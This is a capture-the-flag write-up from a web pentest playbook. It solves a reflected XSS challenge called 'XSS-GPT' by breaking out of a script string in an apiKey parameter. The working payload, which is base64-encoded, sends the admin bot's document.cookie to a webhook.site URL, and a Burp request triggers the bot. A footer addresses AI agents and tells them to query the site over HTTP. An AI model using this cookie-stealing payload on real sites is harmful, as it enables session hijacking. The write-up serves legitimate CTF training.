# Case Study - XSS-GPT

<figure><img src="/files/DkztxQTWvEWVJZ8lcwrU" alt=""><figcaption></figcaption></figure>

## **Challenge created by** [**skrctf.me**](https://skrctf.me/challenges#XSS-GPT)

```javascript
<div id="user-input-container">
  <div id="user-input-icon">&#x1F4AC;</div>
  <input type="text" id="user-input" placeholder="Type your message...">
  <button onclick="reportAdmin()">Report Admin</button>
</div>
```

Viewing the webpage source code , looks like its not submitting through form and `"Report Admin"` button calls the `reportAdmin()` javascript function

```javascript
var chatHistory = [];
// Add an event listener to the user input field for the Enter key
document.getElementById("user-input").addEventListener("keyup", function(event) {
  if (event.keyCode === 13) {
    event.preventDefault();
    sendRequest();
  }
});
```

Submit is triggered when we press `enter` and it calls `sendRequest()` function

```javascript
function sendRequest() {
    const queryParams = new URLSearchParams(window.location.search);
    const apiKey = queryParams.get("apiKey");
    if (!apiKey) {
        alert("Please provide an API key in the URL (e.g. ?apiKey=YOUR_API_KEY)");
        return;
    }
```

`sendRequest()` function then checks for value of `apiKey` in the url parameter , if it works you get chatgpt's response

```javascript
function reportAdmin() {
    const queryParams = new URLSearchParams(window.location.search);
    const apiKey = queryParams.get("apiKey");
    var xhttp = new XMLHttpRequest();
    // Set the HTTP method and API endpoint
    xhttp.open("POST", "reportAdmin");
    xhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhttp.send("key="+encodeURIComponent(apiKey));
    xhttp.onreadystatechange = function() {
        if (this.readyState === 4 && this.status === 200) {
                alert("Reported to admin!");
        }
    }
}
```

`reportAdmin()` will be triggered when the report admin button is pressed where it search for `apiKey` in url parameter and pass to /reportAdmin (we can assume it trigger the admin bot)

bot.js (admin)

```javascript
var webPage = require('webpage');
var page = webPage.create();
var system = require('system');
var args = system.args;

phantom.addCookie({
  'name'     : 'flag',
  'value'    : 'this_is_not_the_flag',
  'domain'   : '127.0.0.1',
  'path'     : '/',
  'httponly' : false,
  'secure'   : false,
  'expires'  : (new Date()).getTime() + (1000 * 60 * 60)
});

page.open("http://127.0.0.1/?apiKey="+args[1], function(status) {
  setTimeout(function(){
    console.log("success");
    phantom.exit(0);
  }, 3000);
});
```

The bot will contain flag and it will open the page with user supplied `apiKey`

Objective (Remote Reflected XSS) :

* steal admin cookie when admin visit

Exploitation :

```javascript
xhttp.send("key="+encodeURIComponent(apiKey));
//Means We cannot have space

page.open("http://127.0.0.1/?apiKey="+args[1], function(status) {
```

#### Attempting on GET request

```html
Before BASE64 : 
document.write('<img src="https://webhook.site/c825884a-2c6c-41e3-a413-a19c5820f215/?c='+document.cookie+'" />');

After BASE64 :
ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs=

?apiKey=</script><script>eval(atob("ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs="))</script>


http://skrctf.me:4000/?apiKey=%3Cscript%3Eeval(atob(%22YWxlcnQoZG9jdW1lbnQuY29va2llKQ==%22))%3C/script%3E
```

Running GET request and we get error throw back

```html
"); // Set the callback function to handle the response xhttp.onreadystatechange = function() { if (this.readyState == 4) { if(this.status == 200){ // Parse the response JSON var response = JSON.parse(this.responseText); // Add the user input and response to the chat history chatHistory.push({ role: 'user', content: data.messages[0].content }); chatHistory.push({ role: 'assistant', content: response.choices[0].message.content }); // Update the chat history and clear the user input field updateChatHistory(); clearUserInput(); }else{ alert("Request error! Please check your API key!"); } } }; // Set the request data var data = { "model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": document.getElementById("user-input").value}], "temperature": 0.7 }; // Send the request with the data xhttp.send(JSON.stringify(data)); } function updateChatHistory() { var chatHistoryHTML = ''; for (var i = 0; i < chatHistory.length; i++) { var message = chatHistory[i]; var messageHTML = '

'; messageHTML += '

'; messageHTML += message.content; messageHTML += '

'; chatHistoryHTML += messageHTML; } document.getElementById("chat-history").innerHTML = chatHistoryHTML; } function clearUserInput() { document.getElementById("user-input").value = ''; } function reportAdmin() { const queryParams = new URLSearchParams(window.location.search); const apiKey = queryParams.get("apiKey"); var xhttp = new XMLHttpRequest(); // Set the HTTP method and API endpoint xhttp.open("POST", "reportAdmin"); xhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhttp.send("key="+encodeURIComponent(apiKey)); xhttp.onreadystatechange = function() { if (this.readyState === 4 && this.status === 200) { alert("Reported to admin!"); } } }
```

Error indicate that we might need to escape `");` and close the script tag

#### Successfully loaded an image with xss

```javascript
?apiKey=");</script><script>eval(atob("ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs="))</script>
```

After adding escape , xss was successfully executed

#### Now we report to admin (to summon bot)

Burp post request

```http
POST /reportAdmin HTTP/1.1

Host: skrctf.me:4000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-type: application/x-www-form-urlencoded

Content-Length: 207

Origin: http://skrctf.me:4000

Connection: close

Referer: http://skrctf.me:4000/?apiKey=test



key=?apiKey=");</script><script>eval(atob("ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs="))</script>
```

Checking webhook and we see `flag=SKR{R3flec73D_1n_API_k3y_ebb2fb}`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jackmeister.gitbook.io/jackmeister-playbook/web-pentest/client-site-attacks/case-study-xss-gpt.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
